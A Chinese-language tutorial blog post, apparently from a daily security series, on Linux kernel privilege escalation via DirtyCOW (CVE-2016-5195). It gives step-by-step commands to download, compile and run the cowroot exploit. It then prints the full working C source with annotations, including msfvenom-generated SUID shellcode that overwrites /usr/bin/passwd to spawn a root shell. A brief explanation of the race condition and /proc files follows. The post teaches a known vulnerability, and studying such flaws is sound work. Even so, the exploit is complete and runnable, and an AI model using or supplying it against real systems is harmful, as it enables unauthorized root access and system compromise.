Day29 - Exploitation- Linux kernels 漏洞

Linux kernels 常有一些可以从一般使用者提权到 root 的漏洞,如 DirtyCOW (CVE-2016-5195) 和 CVE-2017-6074。

DirtyCOW CVE-2016-5195

Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)

漏洞原理
新增 SUID 权限的 passwd (binary) 使用 root 权限 提权
Linux 中有 passwd 指令,可以更改使用者的帐号密码,一般的使用者,只能更新自己的密码,透过 SUID 的权限,可以以 root 权限去修改任何的密码。

攻击流程

  1. 下载 Poc
    wget https://www.exploit-db.com/download/40616 -O cowroot.c
  2. 确认目标是 x86 还是 64 位元组,使用 vim 编辑 POC
    vim cowroot.c
  3. 编译 poc
    gcc cowroot.c -o cowroot -pthread
  4. 确认编译成功
    ls -l cowroot
  5. 执行
    ./cowroot
  6. 确认提权
    id

解析poc
注解中提到如何编译该档案,需要使用 gcc 编译,并且透过 -pthread 参数进行 POSIX thread 编译。

POSIX thread 是可以透过程序进行多执行绪,而 <pthread.h> 则是利用 C 语言定义操作执行绪的 API。

如果没有加上 -pthread 则会无法编译,因为该程序有引用 <pthread.h>

/*
*
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

宣告所需的函式库,与需要的参数内容。

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

该弱点利用 binary /usr/bin/passwd 进行提权。

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

确认目标是 x86 还是 64 位元组,使用如果使用 64 位元则是透过第一个 sc[] 若使用 x86 则是要取消注解,这个字串阵列的内容,其实可以参考注解。

$ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

$ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

利用 msfvenom 产生後门, 参数介绍如下:

-p 指定平台
CMD 执行指定的 binary
PrependSetuid=True 产生的 shellcode 会有 SUID 的权限
-f 输出档案格式

xxd 用来查看 binary 的指令,其中 -i 代表输出阵列。

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
  • madviseThread 释放对应的虚拟记忆体
  • madvise 将自己主动控制的记忆体行为,告知作业系统的 kernel
void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}
  • procselfmemThread 主要针对目前的执行虚拟记忆体档案进行写入
  • /proc/self/mem 指向目前执行绪的虚拟记忆体位置的档案,目前的执行绪可以针对这个档案进行读写(直接读写虚拟记忆体),且无视记忆体对应的权限设定
  • write 写入档案
  • lseek 透过指定的偏移量,修改档案的 point
void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}
  • fstat 函式代表可以将档案(f)的状态复制到 &st 所指的结构里面,也就是取得档案(f)的状态。
  • mmap 可以将已经开启的档案对应到虚拟记忆体中,并且透过修改虚拟记忆体,实际上是修改档案。
    • PROT_READ 对应的虚拟记忆体可被读取
    • MAP_PRIVATE 对应的虚拟记忆体透过复制的方式(copy-on-write),不会改到原本的档案
  • pthread_join 会等待其他的执行绪结束
    main 的流程:开启要修改的档案( /usr/bin/passwd),透过读取记忆体,以复制的方式对应的记忆体中。并且开启两个执行绪,procselfmemThread该执行绪不停针对该记忆体进行写入,而madviseThread不停地针对该记忆体进行释放。
int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

Linux kernal 处理记忆体的功能处理写入记忆体,以复制的方式(copy-on-write,COW) 导致 竞争条件(Race Condition),因此恶意的攻击者可以利用此漏洞,欺骗系统去修改可以读取的记忆体空间并且执行,导致低权限的使用者可以利用此漏洞,读取只有读取的对应虚拟记忆体进行写入。

Race Condition 竞争条件:代表系统的执行结果,仰赖不能控制的事件的先後顺序,如果这些不被控制的事情,没有按造原来所想像的顺序执行,则会产生 bug。

Linux 的虚拟文件系统 Virtual File System,将所有的资源都对应成档案,常见的范例如下:

路径 说明
/proc/net/arp 内部网路机器的资讯
/proc/net/tcp tcp 资讯
/proc/cpuinfo cpu 资讯
/proc/version 系统版本资讯
/proc/pid/cmdline 开始执行绪的指令
/proc/pid/cwd 目前执行绪工作的资料夹连结
/proc/pid/environ 目前执行绪环境变数的列表
/proc/pid/exe 目前执行绪执行的 process 连结
/proc/pid/fd/ 目前执行绪打开的每个档案的连结
/proc/pid/stat 目前执行绪的状态
/proc/pid/statm 目前执行绪的记忆体使用资讯
/proc/self/maps 目前执行绪虚拟记忆体载入的档案和函式库
/proc/self/mem 指向目前执行绪的虚拟记忆体位置的档案,目前的执行绪可以针对这个档案进行读写,直接读写虚拟记忆体

透过 /proc/self/maps 可以知道目前虚拟记忆体区域(virtual memory areas,载入的档案和函式库),工具 gdb 的指令 vmmap 也可以看到。每一个正在执行的 process 都有自己的虚拟 address,也会对应到物理的记忆体中。

ref:https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/


<<:  Day29: Picker controller

>>:  Vaadin Pro Components - CRUD - day29

Day-25 PyTorch 的 CNN Model

我们昨天提过 CNN 的结构就是两层 卷积层 + 池化层 的结构,并在後面接一个简单的 NN 那就...

Day09:09 - User服务(4) - 前端 - JWT token、修改个人资料

Hola,我是Charlie! 在Day08当中,我们完成了後端的JWT机制还有修改个人资料,在今天...

DAY30 - 使用 Istio 的 PrometheusJaeger 监控流量请求

本文章同时发布於: Github(包含程序码) 文章为自己的经验与夥伴整理的内容,设计没有标准答案,...

Vue3 ( 元件 / components ) -2

1.元件注册方法有三,注册後才能使用 (1)全域注册 方法1. <alert></...

PHP 正则相关函数

PHP Regular expression 本来 PHP 支援两类 regular express...